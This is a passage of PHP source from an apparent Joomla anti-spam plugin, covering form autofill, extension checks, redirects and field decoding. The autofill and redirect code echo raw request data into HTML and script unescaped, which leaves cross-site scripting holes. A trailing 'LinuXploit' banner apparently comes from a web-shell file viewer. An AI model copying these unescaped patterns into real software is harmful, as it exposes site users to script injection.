        if($this->params->get('user_login') AND $this->_session->get('user_login', null, 'easycalccheck'))
        {
            if($option == 'com_users')
            {
                if($this->_load_ecc == false)
                {
                    $this->_session->clear('user_login', 'easycalccheck');
                }
            }
            else
            {
                $this->_session->clear('user_login', 'easycalccheck');
            }
        }
    }

    // Save entered data in the session
    private function saveData()
    {
        $request = JRequest::get('default', JREQUEST_ALLOWRAW);
        $data_array = array();

        foreach($request as $key => $value)
        {
            if($key != 'option' AND $key != 'view' AND $key != 'id' AND $key != 'Itemid' AND $key != 'task' AND $key != 'controller' AND $key != 'func')
            {
                if(is_array($value))
                {
                    foreach($value as $key2 => $value2)
                    {
                        // Need second request for user profile plugin
                        if(is_array($value2))
                        {
                            foreach($value2 as $key3 => $value3)
                            {
                                $key4 = $key.'['.$key2.']['.$key3.']';
                                $data_array[$key4] = $value3;
                            }
                        }
                        else
                        {
                            $key3 = $key.'['.$key2.']';
                            $data_array[$key3] = $value2;
                        }
                    }
                }
                else
                {
                    $data_array[$key] = $value;
                }
            }
        }

        $this->_session->set('saved_data', $data_array, 'easycalccheck');
    }

    // Fill the form with the entered data from the user - autofill function
    private function fillForm(&$body)
    {
        $autofill = $this->_session->get('saved_data', null, 'easycalccheck');

        if(!empty($autofill))
        {
            $pattern_form = '@'.$this->_extension_info[1].'@isU';
            preg_match($pattern_form, $body, $match_extension);

            $pattern_input = '@<input[^>].*/?>@isU';
            preg_match_all($pattern_input, $match_extension[0], $matches_input);

            foreach($matches_input[0] as $input_value)
            {
                foreach($autofill as $key => $autofill_value)
                {
                    if($autofill_value != '')
                    {
                        $value = '@name=("|\')'.preg_quote($key).'("|\')@isU';

                        if(preg_match($value, $input_value))
                        {
                            $value = '@value=("|\').*("|\')@isU';

                            if(preg_match($value, $input_value, $match))
                            {
                                $pattern_value = '/'.preg_quote($match[0], '/').'/isU';
                                $input_value_replaced = preg_replace($pattern_value, 'value="'.$autofill_value.'"', $input_value);

                                $body = str_replace($input_value, $input_value_replaced, $body);
                                unset($autofill[$key]);
                                break;
                            }
                        }
                    }
                }
            }

            $pattern_textarea = '@<textarea[^>].*>(.*</textarea>)@isU';
            preg_match_all($pattern_textarea, $match_extension[0], $matches_textarea);

            $count = 0;

            foreach($matches_textarea[0] as $textarea_value)
            {
                foreach($autofill as $key => $autofill_value)
                {
                    $value = '@name=("|\')'.preg_quote($key).'("|\')@';
                    if(preg_match($value, $textarea_value))
                    {
                        $pattern_value = '@'.preg_quote($matches_textarea[1][$count]).'@isU';
                        $textarea_value_replaced = preg_replace($pattern_value, $autofill_value.'</textarea>', $textarea_value);

                        $body = str_replace($textarea_value, $textarea_value_replaced, $body);
                        unset($autofill[$key]);
                        break;
                    }
                }

                $count++;
            }

            $this->_session->clear('saved_data', 'easycalccheck');
        }
    }

    // Call checks for supported extensions
    private function callChecks($option, $task)
    {
        $check_failed = false;
        $Itemid = JRequest::getCmd('Itemid');

        if($option == 'com_users' AND ($task == 'reset.request' OR $task == 'remind.remind'))
        {
            if(!$this->performChecks())
            {
                $check_failed = true;
            }
        }
        elseif($option == 'com_users' AND $task == 'user.login')
        {
            if(!$this->performChecks())
            {
                $check_failed = true;
            }
            else
            {
                $this->_session->clear('failed_login_attempts', 'easycalccheck');
            }
        }
        elseif($option == 'com_easybookreloaded' AND $task == 'save')
        {
            if(!$this->performChecks())
            {
                $this->_session->set('easybookreloaded', 1, 'easycalccheck');
                $check_failed = true;
            }
        }
        elseif($option == 'com_phocaguestbook' AND $task == 'submit')
        {
            if(!$this->performChecks())
            {
                $this->_session->set('phocaguestbook', 1, 'easycalccheck');
                $check_failed = true;
            }
        }
        elseif($option == 'com_comprofiler' AND $task == 'sendNewPass')
        {
            if(!$this->performChecks())
            {
                $check_failed = true;
            }
        }
        elseif($option == 'com_dfcontact' AND !empty($_REQUEST["submit"]))
        {
            if(!$this->performChecks())
            {
                $check_failed = true;
            }
        }
        elseif($option == 'com_foxcontact' AND isset($_REQUEST['cid_'.$Itemid]))
        {
            if(!$this->performChecks())
            {
                $check_failed = true;
            }
        }
        elseif(($option == 'com_flexicontact' OR $option == 'com_flexicontactplus') AND $task == 'send')
        {
            if(!$this->performChecks())
            {
                $check_failed = true;
            }
        }
        elseif($option == 'com_kunena' AND !empty($_REQUEST["ksubmit"]))
        {
            if(!$this->performChecks())
            {
                $check_failed = true;
            }
        }
        elseif($option == 'com_alfcontact' AND $task == 'sendemail')
        {
            if(!$this->performChecks())
            {
                $check_failed = true;
            }
        }
        elseif($option == 'com_community' AND $task == 'register_save')
        {
            if(!$this->performChecks())
            {
                $check_failed = true;
            }
        }
        elseif($option == 'com_virtuemart' AND ($task == 'mailAskquestion' OR $task == 'registercheckoutuser' OR $task == 'savecheckoutuser'))
        {
            if(!$this->performChecks())
            {
                $check_failed = true;
            }
        }
        elseif($option == 'com_aicontactsafe')
        {
            $sTask = JREQUEST::getString('sTask', 0);

            if($sTask == 'message')
            {
                if(!$this->performChecks())
                {
                    $check_failed = true;
                }
            }
        }

        if($check_failed == true)
        {
            $url = $this->buildFailedUrl();
            $this->redirect($url);
        }
    }

    // Build URL if check failed
    private function buildFailedUrl()
    {
        $url = $this->_redirect_url;
        $string_failed = 'eccp_err=check_failed';

        $pattern_failed = '@eccp_err=check_failed@isU';

        if(preg_match($pattern_failed, $url))
        {
            return $url;
        }

        $pattern = '@\?@';

        if(preg_match($pattern, $url))
        {
            $url = $url.'&'.$string_failed;
        }
        else
        {
            $url = $url.'?'.$string_failed;
        }

        return $url;
    }

    // Decode encoded fields
    private function decodeFields($option, $task)
    {
        if($this->params->get('contact') AND ($option == 'com_contact') AND ($task == 'contact.submit'))
        {
            $name = $this->_session->get('jform[contact_name]', null, 'easycalccheck');
            $email = $this->_session->get('jform[contact_email]', null, 'easycalccheck');
            $subject = $this->_session->get('jform[contact_subject]', null, 'easycalccheck');
            $text = $this->_session->get('jform[contact_message]', null, 'easycalccheck');

            $jform_array = JRequest::getVar('jform');

            $jform = array();
            $jform['jform']['contact_name'] = JRequest::getString($name);
            $jform['jform']['contact_email'] = JRequest::getString($email);
            $jform['jform']['contact_subject'] = JRequest::getString($subject);
            $jform['jform']['contact_message'] = JRequest::getString($text);

            // Check e-mail copy
            if(isset($jform_array['contact_email_copy']))
            {
                $jform['jform']['contact_email_copy'] = '';
            }

            JRequest::set($jform, 'post', true);

            $this->_session->clear('jform[contact_name]', 'easycalccheck');
            $this->_session->clear('jform[contact_email]', 'easycalccheck');
            $this->_session->clear('jform[contact_subject]', 'easycalccheck');
            $this->_session->clear('jform[contact_message]', 'easycalccheck');
        }
        elseif($this->params->get('user_reg') AND ($option == 'com_users') AND ($task == 'registration.register'))
        {
            $name = $this->_session->get('jform[name]', null, 'easycalccheck');
            $username = $this->_session->get('jform[username]', null, 'easycalccheck');
            $password1 = $this->_session->get('jform[password1]', null, 'easycalccheck');
            $password2 = $this->_session->get('jform[password2]', null, 'easycalccheck');
            $email1 = $this->_session->get('jform[email1]', null, 'easycalccheck');
            $email2 = $this->_session->get('jform[email2]', null, 'easycalccheck');

            $jform = JRequest::get();

            $jform['jform']['name'] = JRequest::getString($name);
            $jform['jform']['username'] = JRequest::getString($username);
            $jform['jform']['password1'] = JRequest::getString($password1);
            $jform['jform']['password2'] = JRequest::getString($password2);
            $jform['jform']['email1'] = JRequest::getString($email1);
            $jform['jform']['email2'] = JRequest::getString($email2);

            JRequest::set($jform, 'post', true);

            $this->_session->clear('jform[name]', 'easycalccheck');
            $this->_session->clear('jform[username]', 'easycalccheck');
            $this->_session->clear('jform[password1]', 'easycalccheck');
            $this->_session->clear('jform[password2]', 'easycalccheck');
            $this->_session->clear('jform[email1]', 'easycalccheck');
            $this->_session->clear('jform[email2]', 'easycalccheck');
        }
    }

    // Redirect if spamcheck wasn't passed
    private function redirect($returnURI)
    {
        // PHP Redirection
        header('Location: '.$returnURI);

        // JS Redirection
        ?>
        <script type="text/javascript">window.location = '<?php echo $returnURI; ?>'</script>
        <?php
        // White page - if redirection doesn't work
        echo JText::_('PLG_ECC_YOUHAVENOTRESOLVEDOURSPAMCHECK');
        jexit();
    }

    // Create random string
    private function random()
    {
        $pw = '';

        // first character has to be a letter
        $characters = range('a', 'z');
        $pw .= $characters[mt_rand(0, 25)];

        // other characters arbitrarily
        $numbers = range(0, 9);
        $characters = array_merge($characters, $numbers);

        $pw_length = mt_rand(4, 12);

        for($i = 0; $i < $pw_length; $i++)
        {
            $pw .= $characters[mt_rand(0, 35)];
        }

        return $pw;
    }

    // Convert numbers into strings
    private function converttostring($x)
    {
        // Probability 2/3 for conversion
        $random = mt_rand(1, 3);

        if($random != 1)
        {
            if($x > 20)
            {
                return $x;
            }
            else
            {
                // Names of the numbers are read from language file
                $names = array(JText::_('PLG_ECC_NULL'), JText::_('PLG_ECC_ONE'), JText::_('PLG_ECC_TWO'), JText::_('PLG_ECC_THREE'), JText::_('PLG_ECC_FOUR'), JText::_('PLG_ECC_FIVE'), JText::_('PLG_ECC_SIX'), JText::_('PLG_ECC_SEVEN'), JText::_('PLG_ECC_EIGHT'), JText::_('PLG_ECC_NINE'), JText::_('PLG_ECC_TEN'), JText::_('PLG_ECC_ELEVEN'), JText::_('PLG_ECC_TWELVE'), JText::_('PLG_ECC_THIRTEEN'), JText::_('PLG_ECC_FOURTEEN'), JText::_('PLG_ECC_FIFTEEN'), JText::_('PLG_ECC_SIXTEEN'), JText::_('PLG_ECC_SEVENTEEN'), JText::_('PLG_ECC_EIGHTEEN'), JText::_('PLG_ECC_NINETEEN'), JText::_('PLG_ECC_TWENTY'));
                return $names[$x];
            }
        }
        else
        {
            return $x;
        }
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit